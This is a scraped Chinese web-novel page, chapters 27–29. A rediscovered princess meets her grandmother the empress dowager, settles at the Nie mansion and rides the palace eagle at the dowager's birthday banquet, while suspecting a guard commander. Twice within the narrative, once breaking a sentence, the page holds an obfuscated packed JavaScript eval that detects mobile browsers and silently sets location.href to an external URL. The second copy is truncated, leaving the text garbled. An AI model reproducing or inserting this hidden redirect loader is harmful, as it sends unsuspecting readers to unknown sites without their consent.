其他大臣们也望着这个前朝太子遗下的小女,纷纷拱手致礼,啧啧赞叹。 然后,叶真又望向叶子萌身后那四位英姿飒爽的男女护卫随从,笑道:“大家一路走来,都辛苦了,随我进城吧……” 进城时,叶子萌不再乘坐辇轿,与云媃和静香也骑上马匹,跟在皇帝的龙辇后面。道路两侧早已围满京都的黎民百姓,争先恐后地踮起脚尖,要一睹明浩公主的英姿。 庞大的队伍在人流中缓缓穿过,骑在马上的西门轩和子寻风十分警惕,手按佩剑,犀利的目光四处搜寻,跟随着队伍慢慢抵达皇宫。 众人下马,进了皇宫,刚进去,就见一只巨大的鹰在天空中掠过,并传来一声可怖的啼叫,叶子萌及西门轩等人抬头望去,尤其是叶子萌,此时此景,她感到陌生而新奇,但又似乎在梦中见过,不禁站在原地久久地凝望着…… 这时,远处一名羽林军首领模样的人,朝着盘旋的巨鹰吹了个唿哨,那鹰就将身子一挫,飞离此处了。 叶子萌等人跟随皇帝的龙辇,经过很多金碧辉煌的宫殿,朝太后的千寿宫方向行去,太后吴氏早有吩咐,明浩公主一回来,就要马上带她相见。 叶子萌十分好奇地四处打量着,又兴致勃勃地看着宫殿里的那些带刀侍卫,忽看见先前对巨鹰吹唿哨的那个带刀侍卫,装束又有不同,明显是个统领之类的角色。 还有不同的是,其他侍卫都将左手按着腰间佩剑,唯有他的左手臂一直僵硬下垂,用右手放在嘴里吹唿哨时,左手臂也没有丝毫弯曲,显得有些异样。 叶子萌经过那里时,抬眼望他,发现他也正在注视自己,四目对视,这个侍卫统领略一低头行礼,叶子萌假装未在意,又掉头去看别处。 27. 见皇祖母,入聂王府 千寿宫到了,太后已在寝宫里等候多时,一听李公公禀报公主来了,便立马说道:“传……”然后拨弄发髻,理理衣袍,翘首企盼。 西门轩和子寻风被守卫挡在外面等候,只让云媃和静香卸下佩剑后陪伴叶子萌进来。 太后一见两个小姐姐扶着中间那位少女,便猜她就是自己孙女了,于是起身过来,拉住叶子萌的手,拿眼仔细看她,浑身上下打量她,一言不发,慢慢地,那深潭般的眼里就有了亮晶晶的泪水,她连忙掏出罗帕擦擦眼睛。 叶子萌却有些不知所措,只是呆呆打量面前这位陌生的、雍容华贵的老奶奶,她头戴凤冠,面如凝脂,眼似深潭…… 忽想起爹爹的叮嘱,叶子萌便张开了嘴,嗫嚅着吐出一句:“皇祖母……” 太后一听,就像一个濒临死亡的危重病人被打了一剂强心针,“嗯”地一声,突然就活了过来,大声叫道:“哎呀呀,我的明浩公主啊,奶奶找你找得好苦,这些年你跑到哪里去了呀……” 叶子萌被这突如其来的变化吓了一跳,她有些惶恐,一时不知该说什么才好,于是就掉头环视左右,却见在场的每一个人此刻都在骨碌碌地盯着她,她更是感到非常地不自在。 这时,太后把她拉到她坐榻那里,让其坐在自己身边,继续端详着她,同时抚摸着她那双细嫩的手说:“让奶奶好好看看,嗯,是很有些坤儿的神韵和风采……” 叶子萌一听,就知她说的是自己生父、当年的皇太子叶坤了,但是说真的,尽管这太皇太后对自己是如此地亲昵,她对她却感到异常地陌生。 不过,之前爹爹曾一再叮嘱自己,她回到悒国后,这个太皇太后保不准就是她今后唯一的依靠,她一定不要忽视这点。想到这里,于是她便微笑着,又对太后轻声叫了一声:“皇祖母……” “嗯,”太后欢喜地应着,轻拍她手说,“以后你就跟着奶奶,这十多年来,奶奶想你想得好苦啊,有时还在梦中哭醒……”说着说着就轻轻地哽咽起来。 一旁的李公公这时插话道:“太后的真情,终于感动了上天,现在上天把明浩公主还给了你,这真是天大的喜讯和泼天的洪福啊!” 这句话让太后那颗受伤的心,感到了无比的宽慰,她又擦干眼泪,忍不住笑了起来,连连说:“是啊,是上天恩赐我这孤老婆子啊……” 这时的叶子萌也有些触动了,她本就是个无比良善的女孩子,望着太后这般模样,心也柔软起来,眼角处就有些湿润了,不禁轻轻唤了一声:“皇奶奶……” 太后微笑着点点头,慢慢恢复过来,抓住叶子萌的手又问:“……对了,子萌,你是喜欢跟着皇奶奶住在宫中呢,还是喜欢在宫外住呀?” 一旁的李公公马上又插话:“公主,太后的意思是,怕你刚来有些拘束,不习惯宫中许多规矩,特开恩由你随便选择。” 其实,这个问题叶子萌在来之前早就想好,马上回答说:“皇奶奶,子萌以前自由懒散惯了,宫中规矩的确不甚懂得,怕冲撞了皇奶奶,所以,目前我还是暂住宫外吧。” 太后点点头,道:“我也想过了,这些都依你就是,以后你就在聂王府你姨祖母那里暂住,我都替你安排妥当。我还给他们下了懿旨,这宫中你可以来去自由,不必事前奏报,你若在姨祖母那里闷了,想到我这里来住几日,就尽管来住。” 一旁的李公公马上提高嗓音说道:“是,我这就传太后懿旨,这皇宫里明浩公主来去自由,任何人不得阻拦……” 这时,站在一旁的皇帝叶真说话了:“母后,明浩公主现在回来,中秋节你的七十大寿也快到,真是双喜临门啊,咱们一定要好好庆祝庆祝!” 太后喜欢得合不拢嘴,她眯着眼儿笑道:“是啊是啊,是该好好庆祝一番,热闹热闹……对了,王公公,呆会儿你就带他们去聂王府她姨祖母那里吧……” 王智鹏一直没说话,这时正在仔细观察叶子萌,听见太后叫他,一激灵回复过来,瞅了一眼旁边的李公公,然后低头回道:“是,老奴遵命。” …… 叶子萌一离开千寿宫,太后就吩咐米莲道:“你挑选几个暗卫,以后就负责保护公主的安全,也不必让她知道,这件事你亲自去安排。” “是。”米莲说。 叶子萌及随从离开皇宫后,就跟随总管公公王智鹏去了聂王府那里,一路上那王智鹏都在暗暗地观察叶子萌,让叶子萌发觉,顿时感到好不自在。 聂王府里,叶子萌的姨祖母吴姬,人称聂母,早已在等候这位从魏国回来的明浩公主了,王智鹏对着那群人给叶子萌一一介绍—— “公主,这位是兵部侍郎聂清池,被加封侯王爵位,你应称叔父;这是聂清池之妻聂夫人,你应称叔母;这位即是聂母,你皇祖母的妹妹,丈夫曾封王,已去世,你应称姨祖母;这是聂清池之女聂浣儿,人称浣儿郡主;这是她弟弟聂小云,世子,你可称云弟弟……” 当年的皇太子叶坤,是聂母看着长大的,有较深的感情,现在叶坤已离去,他唯一的骨肉就是叶子萌,聂母从来没见过,叶子萌一来,她就拉着孩子的手东瞧西看,自然喜欢,同时也感慨万千,眼睛也有些湿润。 叶子萌却在偷偷瞅着聂浣儿,聂浣儿虽大她一岁,性格却温和腼腆,但架不住小公主的热情,也在抿嘴偷笑;旁边的聂小云用手肘轻碰他姐姐一下,悄悄说道:“这下好了,你以后有伴儿了……” 聂王府很大,后面很多房子足够叶子萌及随从住下,这里庭院深深,花园里栽种了各种花卉,因叶子萌要来,太后还特命人将后院房屋和院墙粉刷装饰一番,倒是既幽净又漂亮,十分地温馨。 在后院安置停当,待聂母等人离去,叶子萌又将西门轩等人唤来,拿出暗害她的那把弓箭,细细看着,对他们说:“今日在皇宫,我看见一个侍卫统领,左臂特别僵硬异常,似受过伤,我们经过那里时,他还特别注意看我,甚是奇怪,你们说说,这之间有无联系?” 西门轩说:“我也看见他了……” “我也看到,此人有些阴冷。”子寻风说。 云媃与静香也称她们都注意到了……原来,大家都看见了,自一进京,都在各自心里忙活着,谁也没闲着。 “这样,”叶子萌说,“我们刚来悒国京城,情况还不熟悉,我们在明处,别人在暗处,要查事情谈何容易,因此,大家勿要莽撞,别中了对方的暗道机关。” 云媃说:“公主……” 叶子萌打断她道:“在自家屋里,别公主公主的,师姐就直接称我名字吧……” 云媃点头道:“子萌妹妹说得对,这一路都有人暗中随我们而来,一定是在暗处盯着,所以我们要以不变应万变,都不要有任何盲动,先让对方松懈……” 子寻风说:“这中秋节快来,太后不是要举办寿宴吗,我们暂且不动,等先过了中秋节再说,到时再议出一个详细的方案……对了,子萌妹妹,你不只是想查找这放箭之人吧?” 叶子萌点点头,又掉头问西门轩:“西门哥哥,你有何看法?” 西门轩道:“甚好,但是在制定方案时,也要先联系联系你那位林叔,他比较熟悉这里情况……当然,去找他时也要隐秘而行,不要大张旗鼓。” 一向少言寡语的静香,这时忍不住笑道:“看来,我们大家都得当一回查案的‘绣衣使者’了!” 与此同时,他们不知,皇帝的御驾此刻已经来到聂王府,兵部侍郎聂清池及其母亲恭敬地把皇帝迎到了厅房。 皇帝叶真坐于上座,聂清池和母亲坐在一侧,聂清池道:“不知陛下驾临寒舍,有何旨意?” 叶真对他们笑道:“哦,我就是受太后嘱咐,来看看明浩公主一行安置得怎样了?” 聂母回道:“安置好了,安置好了,陛下要不要亲自去看看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885064|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶真挥手道:“朕就不过去了,还是让明浩公主来这里吧,大家随便说说话,拉拉家常……” 聂母便让聂浣儿去传话,正在屋子里与大家商议的叶子萌,一听外面的聂浣儿叫她,连忙对旁人说:“快,把弓箭藏起来……” 然后她出去,问道:“浣儿姐姐,你怎么来啦?” 聂浣儿说:“陛下来了,让你过去一下。” 叶子萌便跟着她朝前厅去,边走边问:“哎,我问问,陛下这人怎么样?” “嘘!”聂浣儿立刻把手指放在嘴唇上,示意她别说。 一会,叶子萌跟随聂浣儿进了前厅,先拜见了叶真,再拜见长辈,然后坐到了一侧,望着叶真道:“陛下,你找我何事?” “哎,无事无事,”叶真摆摆手,“太后就让我来看看,我们都是一家人,随便一些,随便一些……对了,此次来到京都,一路还顺利吧?” 叶子萌点头道:“托陛下的福,托老天爷的保佑,还顺利呀!” 叶真就微笑,点头道:“之前我也替你们用卧龙先生的马前课测了一卦,得‘速喜’,断曰:速喜喜来临,大吉之兆也!” 叶子萌听他这一说,忍不住捂住嘴扑哧一笑,道:“陛下还喜欢算卦测字?” 一旁的聂清池马上说:“公主有所不知,我们悒国的皇上可是注重修行之人,这在历朝历代的皇帝中,可以说是前不见来者,后不见……” “哎哎……”叶真挥手打断了他,说,“你这是恭维之话,我岂敢与那些先圣比肩,只是闲暇时喜欢练仙论道罢了。” 叶子萌便想,修仙练道之人,一般都心怀仁德,秉性纯良,这个皇叔让人觉得他也在效仿这样的人。想了想,叶子萌便对他说:“陛下,实不相瞒,我知道一个人,也是修仙练道之人,他曾对人讲,修行之人,其实是在修心,目的是出离诸相,达到上乘。” “哦?”叶真倒是没料到一个女孩儿真能说出这些话,与他先前打探到的情形果然契合,于是好奇心甚,马上追问,“你知道他?他是哪里人士?” 叶子萌犹豫一下,说:“听说他常年在昆仑山修行,从不见人,既可御风而行,也可辟谷不食,年已过百……” “哦?”叶真更是有些惊讶,“原来如此,原来如此,我明白了,他就是士人常常赞叹的那位藏于昆仑、御风而行的世外高人吧?” 聂清池也跟着附和:“呵呵,大家真是有缘之人啊!” 一旁的王智鹏王公公这时也拱手玩笑道:“呵呵,真是想不到,原来公主也懂得修仙练道,那这个年过百岁的世外高人,不会就是你师父吧?” “不会不会,我哪有这能耐,更没这修为,嘿嘿……”叶子萌连忙傻笑着说,她不愿意外人知道这些。 “玩笑玩笑……”王公公忙说。 叶真并不去理会旁人,兀自又说:“其实我早听人说过,公主练得一身武功,还想保密?……对了,是那沐灏天、即你养父,他教你的吧?” “我就会点花拳绣腿而已,上不得台面的,嘿嘿……”叶子萌继续装傻。 “其实,”叶真继续说,“听你刚才说的那些‘修心’,我就猜你曾受过高人指点,看来,我以后要经常向你讨教一些问题呢。” 叶子萌笑道:“好呀好呀,不过讨教说不上,只是我以后可以经常到皇叔那里去,向皇叔你求教了,是吧?……” “来呀,我巴不得呢!”叶真点头笑道。 “好呀!”叶子萌忍不住抿嘴笑。 又过一会,叶真起驾离去,他前脚刚走,叶子萌后脚正想离去,这时从什么地方钻出来个少年挡道,仔细地瞧着叶子萌。 叶子萌一看,原来是聂浣儿的弟弟聂小云,她被这个少年看得有些诧异,忍不住笑问:“云弟弟,你想做什么?” 聂小云不正面回答,只是点点头,说了句:“有点意思!” 28. 太后寿诞,怪事频仍 八月十五中秋节到了,也是太后的七十岁寿辰,皇宫内从中午起,就在千寿宫外开始举行盛大的寿宴。 千寿宫外面有个非常宽敞的前庭,旁边还有御花园,周遭都摆满了硕大的花缸,花缸里的紫阳花、百合花、芙蓉花等各种花卉争相斗艳,墙边还有两排错落有致的桂花树,桂花正在盛开,满地金黄色的小花瓣儿,花香四溢,沁人心脾…… 御花园里,各种花卉更是争奇斗艳,假山也被掩藏在浓密的花影里,一群皇家的孩子们正在那里捉迷藏,幼嫩的欢笑声此起彼伏。 再过去,就是看似小巧玲珑、实则宽广的御清池,湖面波光粼粼,周围树林房舍的倒影映照于水中,两艘漂亮的船舫就停在那岸边,到了晚上这里也是个赏月的好地方,到时还要烧斗香、放天灯、走月亮、舞火龙等。 寿宴开始时,鼓乐齐鸣,头戴凤冠、身穿华服的太后,在凤仪女官米莲和宫女们的簇拥和搀扶下,牵着叶子萌的手,迈着优雅缓慢的步履,来到了她的宝座上。 她让叶子萌坐在她的左边,而皇帝叶真就在她的右边,其余皇后皇妃、皇子公主等皇室成员,也在两旁依次而坐。 下面的前庭广场两侧,这时也坐满了文武百官和各国使节,今年皇室还特邀了北旗大皇子高炜前来参加寿宴,这也是叶真施行的国策方略措施之一,就是要与北方民族搞好关系,以图减轻边关压力。 魏国使节也补献上了上次欠的丰厚贡品,献贡品的是一男一女,男的身形颀长,头发黑亮如绸缎,女的曼妙素颜,若仙若灵,叶子萌定睛一看,哎呀,原来这两人正是杏花坞的梦桃郡主和石休染! 梦桃自然也看见了叶子萌,正悄悄向她挥手呢,于是她对太后说:“挥手的那姑娘是我朋友,我去会会,马上就回。” 太后首肯,微笑道:“去吧,去吧……” 叶子萌便奔跑过去,拉着梦桃的手,两人像孩子般高兴地笑闹。 梦桃仔细地瞧着她脸,笑道:“我在杏花坞时就已听爹爹说,原来你就是明浩公主,本想来蜀都城送你,可有事耽搁没来,没想到在这里又遇上了,看来我俩真的有缘啊!” “是啊是啊!”叶子萌说,“我也没想到会在这里遇见你……”说着转身向一旁的石休染行个礼,然后又对梦桃说,“对了,今晚上你就住我那里去,等太后的寿宴结束我就来找你,我俩再说点悄悄话……” 梦桃笑着点点头,然后叶子萌就转过身,仍然回到太后这里。 太后见她回来,便问:“那姑娘是魏国派来的使节吧,你认识她?” 叶子萌回答道:“她是魏国亲王石秉章的女儿梦桃郡主,我们以前就见过面,那次就是她护送贡品遭遇强盗半路拦截,丢失了‘昆仑玉龙凤戏珠’,当时我也恰好在场,还与一个神秘蒙面人恶斗过一场……” “哦?”太后吃了一惊,“你是说,那尊‘昆仑玉龙凤戏珠’,就是那伙盗贼劫走的?” 不仅是太后,一旁的皇帝叶真听了也震惊得不行,当初那李快向他禀报时,说是此事绝对没有泄露,万无一失,现在看来,那厮是说了谎! 叶子萌继续说:“肯定就是那伙人盗贼盗走,但是我觉得……”说到这里就把话打住,因为她想起那个蒙面人说过,背后指使他办事的人极为尊贵。 太后就斜过去瞟了皇帝叶真一眼,叶真被他的母后看得心里发毛,于是转过头去,拿眼朝下面一旁站着的羽林中郎李诀望去。 李诀心领神会,于是将右手的拇指与食指放入口中一吹,只听一声尖利的唿哨,就见宫中那只神鹰飞掠而来,绕了一圈后,稳稳地降落在前庭广场中央上,吓得就近的那些宫女太监纷纷尖叫后退,一些官员也惊得身子往后仰。 王公公和李公公不知何时已不约而同地闪到太后身边,太后呢,则有些惊讶望着叶真,这时叶真对她笑着说:“母后,你的七十大寿,那些歌舞笙歌太过平常,今日我们就来点新鲜的,为你的寿宴助兴!” “是吗?”太后听了,面无表情,只朝那只硕大的神鹰望去,“怎么个新鲜法?就召来这个畜生,鬼头鬼脑地望着大家?” 叶真站起,望着下面文武百官和各国使团的使节,提高嗓音说道:“此乃我悒国护国神鹰,早先由先帝从野灵山带回养大,功勋卓著,想必大家都是知道的……” 叶真说的这“功勋卓著”,无非就是此怪鸟曾经啄食过一些被皇家抛出的“罪人”,同时守护皇宫,无论是武功高强的歹人,还是心怀叵测的异邦,都从来不敢轻易派探子潜入宫中。 叶真又笑道:“今日是我悒国皇太后七十大寿,又是中秋佳节,本应献上笙歌为她助兴,但太过落俗,于是有妙人献出一个绝妙的主意……” “这个妙人是谁啊?”下面有人问。 此时全场鸦雀无声,全部眼睛都望着皇帝,等待他说出下文。 但是叶真没有正面回答,却掉头望向了叶子萌,指着她笑道:“我们明浩公主失散多年,幸蒙上天垂青,现已找到,此乃我悒国之幸事,值得庆贺!前几日我与她交谈时,更是得知公主从小习武,修仙炼道已有十多年,武功了得,是传闻中那些武功高人的女徒弟呢……” “陛下,”这时,李诀拱手问道,“你说的可是当年太子叶坤身边那个大名鼎鼎的侍卫统领沐灏天?” “正是!”叶真点点头。 叶子萌注意地听着,一听到他们提起自己爹爹的名字,心里微微一动,这才品味出之前爹爹为何不要她来悒国京都玩,原来这里面似有更深的渊源? 李诀刚把“侍卫统领沐灏天”这句话说出口,台下便一片哗然,看来,那些文武百官也熟悉她的爹爹。 到了此时,叶子萌才猜出皇帝叶真的用意,他要用这只凶猛无比的怪鸟来试探她武功;至于是否还有更厉害的后手,就不知晓了…… 叶真的声音继续传来:“宫中神鹰是‘凤’,我们的明浩公主也为‘凤’之兆象,所以,今天就来个双凤戏珠,先抛出一个绣球,公主与神鹰去戏抢绣球,想必这个在空中呈现的飞天舞蹈,比地上那些宫女的艳俗歌舞精彩多了吧……” 文武百官又是一片哗然,面面相觑,这哪是什么“舞蹈”,弄不好是要被那怪鸟的利爪撕碎的?这究竟是什么意思?于是都拿眼去望着太后。 太后这时坐不住了,她有些愠怒地对叶真说:“这是哪个妙人出的馊主意,小公主再练过功夫,也不敢让她去与神鹰共舞,这岂不是当儿戏吗?” 叶真见太后不悦,连忙改口说:“这是羽林中郎李诀出的主意,他也是练功之人,说公主表演后,他也要来表演个‘龙凤戏珠’给太后助兴……”说着,就把目光掉向台下一侧的李诀。 台下一侧的李诀立刻拱手回答:“是的,陛下!”其实,与那怪物共舞戏珠,他心里也发虚,没有一点把握,但是如果叶子萌在先,问题就解决了,如果她出了麻烦,谁还顾得上后面他的“龙凤戏珠”呢? 不料,这时太后却对旁边两位公公提高嗓音说:“传我懿旨,就让羽林中郎将李诀先来表演他的‘龙凤戏珠’吧!” 王公公立马站出来,伸出手臂对李诀说:“羽林中郎李诀,太后懿旨,你先请!” 李诀一下愣住了,他掉头看看皇帝叶真,叶真也瞪大眼睛望着他:“这……” “怎么?”太后面无表情道,“我现在说话已不管用,要看别人的脸色了?” 叶真忙把头掉开,假装没听见;李诀见状,连忙对太后拱手恭敬回答道:“是,太后,卑职遵命……” 这边的叶子萌忍不住一笑,又很快收住,装着什么都不知。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885065|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这时,李诀轻轻一跃,跳下台,朝广场中间慢慢走去。 一个小太监拿出一只红色绣球,颤颤巍巍走向大怪鸟,同时想起传闻中那太监邓柏当年被米莲一掌击飞、最后被抬去喂了神鹰的场景,吓得双腿打颤。 小太监终于等到李诀慢慢走来,停在怪鸟对面,于是赶紧把绣球往空中使劲一抛,然后自己连滚带爬地逃命而去…… 那只绣球只抛到齐怪鸟头顶位置,李诀怕它先得,便朝绣球飞起一脚,于是绣球就飞向空中。那怪鸟尖叫一声,双翅一展,跃向空中,气势之磅礴,惹得全场一阵骚动惊叫,而那北旗皇子高炜却拍手喝起彩来,兴奋得手舞脚蹈! 说时迟那时快,李诀双脚一提,左手撑着臀后,右手直指天空,笔直而上,就去抢那绣球。不料那大怪鸟的利嘴向绣球一啄,叼住绣球,翅膀还闪电般朝李诀猛地一拍,早有预防的他将身子一旋一挫,躲过了。 绣球掉了下来,同时落地的李诀眼瞧着怪鸟扑腾下来,连忙朝着绣球又是一脚,那绣球就擦着怪鸟头顶飞上天去,他也一跃飞到空中,伸出双手去抓绣球…… 不料怪鸟也腾空,朝他臀部啄了一嘴,李诀大叫一声,就从空中翻滚摔下,重重地滚落在地,与此同时,滚落在地的他还下意识地捂住了自己左手臂,疼得呲牙咧嘴。 他这细微的举动,被台上的太后和米莲等人都看见了,太后忍不住与米莲对视了一眼,但未吱声。 李诀摔下,全场顿时一片惊呼,一片骚动…… 此时怪鸟也腾空落下,将嘴里的绣球朝李诀一扔,那球就落在他的怀里。他尴尬地将那绣球一推,然后从地上爬起,垂头丧气地朝台上这边走来。 台上的气氛很尴尬,太后一脸的鄙视,并不去看李诀,就像没看见他似的。 皇帝叶真瞅着太后,过了片刻才迟疑地说:“此龙凤戏珠妙哉,现在轮到……轮到明浩公主了,这……我看这鸟似乎有些暴躁,就作罢算了,太后以为如何?” 这其实是叶真的试探,但是太后顺着他的话,摆摆手道:“我看就依了你说的吧,明浩公主毕竟年龄尚小,这等危险的表演并不适合她;再说,这件事羽林中郎李诀办得不好,该罚!你自己拿主意,看怎么罚他吧?” 一听“罚”,叶真脸都绿了,但又不敢违逆太后,于是就去悄悄瞥台下的李诀,而李诀一听要罚自己,脸更“绿”,几乎是哭丧着脸了,开始挖空心思去想“招”。 可这时,李诀还未来得及接话,叶子萌已从座位上站起,对太后笑道:“皇奶奶,别急呀,此共舞争绣球的把戏好玩极了,孙女也想去玩玩呢……” 站在叶子萌身后的云媃就去拉拉她衣袖,示意她别去,她却一把推开云媃的手。 太后呢,张开嘴巴扭头望着她,也不明白她是何意,喃喃地说:“这……这怪鸟性子怪异猛烈,不好驾驭,还是别……” 太后话未说完,也未反应过来,叶子萌就已轻轻跃下高台,展开双臂朝广场中央那怪鸟飞翔而去,稳稳地落在了它的面前。 全场顿时鸦雀无声,人们纷纷掉过头来,或伸长颈脖,屏息敛气地注视着叶子萌和那只怪鸟,就连台上的西门轩等人也紧张无比,捏着一把冷汗。 皇帝叶真也没料着,十分惊讶地抬眼望去,目不转睛地瞧着叶子萌,完全没回过神。 这时,一个令人意想不到的场面出现了:那怪鸟一见叶子萌上前,先是歪着头打量她两眼,然后提起脚爪慌乱地往后退了两步,嘴里吱咕吱咕地啼叫不止。 叶子萌见状,觉得奇怪,眼珠儿一转,那股子顽皮劲儿就来了,忽然跑去揪它翅子和尾巴,那怪鸟便连连后退,于是叶子萌就拎起绣球,朝鹰抛去,那鹰刚朝空中腾飞,叶子萌便猛地往空中一跃,就骑到了怪鸟背上,并抓住了它颈上的羽毛…… 29. 暗流涌动,公公递条 各位,还记得当年叶子萌还是个襁褓里的婴儿时、沐灏天将襁褓掉落地上的瞬间、神鹰在一旁瞧着她脸庞和眯细着眼睛的情景吗? 当时,叶子萌微睁眼睛,眼珠子里映照着神鹰,神鹰不知怎的退却,就像中了什么魔法似的,最后嘀嘀咕咕地飞走了。 你若问我,这两者之间究竟有何关系,都已过去了十几年,难道那鹰还记得?其实我也不知,我们都是凡夫之心,难以猜测世间一些奇异之事,盖因我们的心,早被那些经历过的、数不清的污浊之事蒙住,失去了清明。 此时,稚嫩顽皮的叶子萌已骑在神鹰背上,让这神鹰载着,在蓝天白云中飞翔穿行,风呼呼吹过她耳边,下面宫殿楼宇、田园大地、树林草坡等景物,竟历历在目、缓缓而退,面对此情此景,此种默契,让人看着好不动容! …… 神鹰在天上围着这偌大的皇宫转了一圈,又飞回千寿宫,稳稳地落在前庭广场中央。 尔后,叶子萌从神鹰背上轻轻跃下,将手里的红绣球高高举起,全场文武百官及各国使节顿时笑着赞叹起来,尤其是那个北旗皇子高炜,兴奋得双手抱着前胸,望着叶子萌的背影,目瞪口呆地喃喃道:“哦,我的天呀……” 叶子萌回到台上,喊了声“皇奶奶”,太后便欢喜得抱住她,连连笑道:“哈哈哈,我的孙女真是让我们叶氏家族熠熠生辉,也让各国使节和官员大开了眼界……”旋即又掉过头去,慢条斯理地对叶真说,“皇上,你又怎么看呢?” 叶真连忙惶恐地躬身说:“母后,儿皇看到了,明浩公主定非凡间俗女子,而且还神功盖世,连神鹰也听她使唤,这在宫中是前所未有,真乃一桩绝妙佳话啊!” 再看一旁,那个“妙人”羽林中郎李诀,已经躲向一侧人群,慌忙蹿走,不知所踪。 …… 到了晚上,千寿宫旁边不远的御清池上空升起一轮圆月,映照在波光粼粼的水里,轻轻荡漾,婀娜多姿…… 云媃和静香她们放天灯去了,子寻风则去观看舞火龙,唯有西门轩哪也不去,就安静地靠在叶子萌背后的一株树身上,而池边的叶子萌正瞧着御清池里的月亮发呆。 过了一会,叶子萌转过头去,问西门轩道:“西门哥哥,你怎么不跟着他们去看看热闹,站在那里作甚?” 西门轩道:“临来悒国前,师父就对我叮嘱过,让我好好照看你、护着你……” 叶子萌就笑,说道:“这是皇宫,又不是荒山野岭,还怕有强盗不成?……之前云媃曾找过你,你现在还不去找她说说话,她一会该不高兴了。” 此话经叶子萌的口中故意说出,具有很大的杀伤力,令西门轩的脸顿时青一阵红一阵,只好假装没听见。但他心里却像烧开锅的沸水,翻腾起来,暗想:这个冰雪聪明的叶子萌好生厉害,难道已练就他心通,云媃喜欢我的事她怎么也知道?但我对云媃没那个意思呀……而且,她这样说又是何意呀? 他开始胡思乱想…… 叶子萌见他不出声,还要说什么,忽见梦桃从那边来了,就打住话头,站起身招呼道:“梦桃来啦?快过来!” 梦桃欢喜地跑过来,说道:“你今天表演的‘双凤戏珠’,真的让人大开眼界,对了,我还看见那个从北旗来的皇子高炜,盯着你看时,眼珠子都动不了呢!” “是吗?”叶子萌这才想起还有个北旗皇子,但她都没正眼看过他,还不知他长什么模样,也不关心,倒是想起什么,对身后的西门轩说:“你去把云媃他们叫回,我们该走了,今夜梦桃就住我那里,我们回去还有话说呢……” 西门轩倒是十分听话的样子,马上就去了,过不了一会工夫,几人就回来,一干人说说笑笑,正要离去,忽见一团黑影飘飘忽忽就蹿了过来,西门轩一下就按住了腰间的宝剑。 定睛一看,原来是太监总管王智鹏王公公,不知怎的已从千寿宫里出来,踩着碎步匆匆走向叶子萌,笑道:“明浩公主,太后问你要不要在她那里吃点夜宵?” 叶子萌忙说:“你回去禀报皇祖母,就说我不吃了,谢谢她老人家,我空了再去看望她……” 说完正要走,王智鹏却又叫住她,说:“太后还让我把这个给你……”边说边递给叶子萌一张纸条,然后才离去。 叶子萌打开纸条,上面只有一句嘱咐之类的话:宫墙深深,夜晚渐凉,注意将息,预防寒邪…… 叶子萌小声念完,有些奇怪,也没去多说什么,然后携着梦桃,与西门轩等人出了皇宫,回到聂王府住处去。 一回去,叶子萌就拿出藏于床下的那把弯弓与铜箭镞,对梦桃讲了他们一行人在回悒国的途中,在驿站院子所遭遇的险境…… 梦桃听了震惊不已,说道:“果然如我爹爹所说,悒国表面风光,实则处处充满险恶,这么说来,你们在这里要千万小心啊!” 叶子萌点头说:“是得小心。其实我之所以答应回到悒国,进入皇宫,主要原因就是想查找当年我亲生父母被害的真相……” 梦桃问:“莫非你是想替他们寻仇?” 叶子萌沉默了,其实,她自己也不清楚,她与生父生母从未见过面,都是养父母抚养她长大,这么多年来彼此都不离不弃,说感情自然还是后者更深一些。 而且,这件事都已过去十几年,似乎都很淡了,但是,不知怎的,她就是想弄清这件事的来龙去脉,否则便有遗憾,便会觉得自己过的是糊里糊涂的人生。 这时她想起什么,问梦桃道:“对了,今天那个表演‘龙凤戏珠’的侍卫统领,是什么羽林中郎将,你看到了吗,是否听说过他?” 梦桃想了想,说:“这人我知道一些,现在的确是羽林中郎将,以前叶炫当朝时,他也是叶炫的御前带刀侍卫,我曾见过;现在又被叶真调去任御前带刀侍卫,听说他是百步穿杨的箭道高手?” “哦,是他呀?”叶子萌点头说:“我也打听过了,上次你们进贡被一伙黑衣人抢走的‘昆仑玉龙凤戏珠’,为首的那个神秘蒙面人就叫李快,而李快就是这个羽林中郎将李诀的弟弟!” “是吗?”梦桃一惊,想了想说,“事情变得有些复杂了,这李快抢了叶炫的贡品,明显是给叶炫使绊子,李诀之前又给叶炫当御前带刀侍卫,现在却仍被叶真重用?……难道这李诀和李快背后的人是……” 叶子萌等人都未说话。 梦桃没说出后半句,又皱着眉头分析一番,忽然又道:“难道,当年皇太子一案,也是他?……”说到这里,忽惊讶地捂住自己嘴,睁大眼睛看着叶子萌。 叶子萌何尚没这样猜测过,她喃喃地说:“不过这些都只是猜测,不算证据,若要找到证据,恐怕还有很长一段路要走,甚至会付出很大代价呢。” 这时,她又从怀中拿出王智鹏给她传来的那张纸条,说:“刚才在宫中,王公公给的,说是太后写给我的……” 梦桃便夺去仔细研究起来,先前看了觉得是一般的叮嘱问候,现在却开始仔细地分析,看有无蛛丝马迹。 “宫墙深深,夜晚渐凉,注意将息,预防寒邪……”她轻声念道,然后说,“如果太后是在向你暗示这太子一案背后的凶险,那么至少现在看来,太后肯定是向着你的,她是在担心你,并提醒你要保护好自己。” 叶子萌听了,没说话,只是转过头望着西门轩等人,西门轩等人都不约而同地点点头,表示了对梦桃的分析首肯。 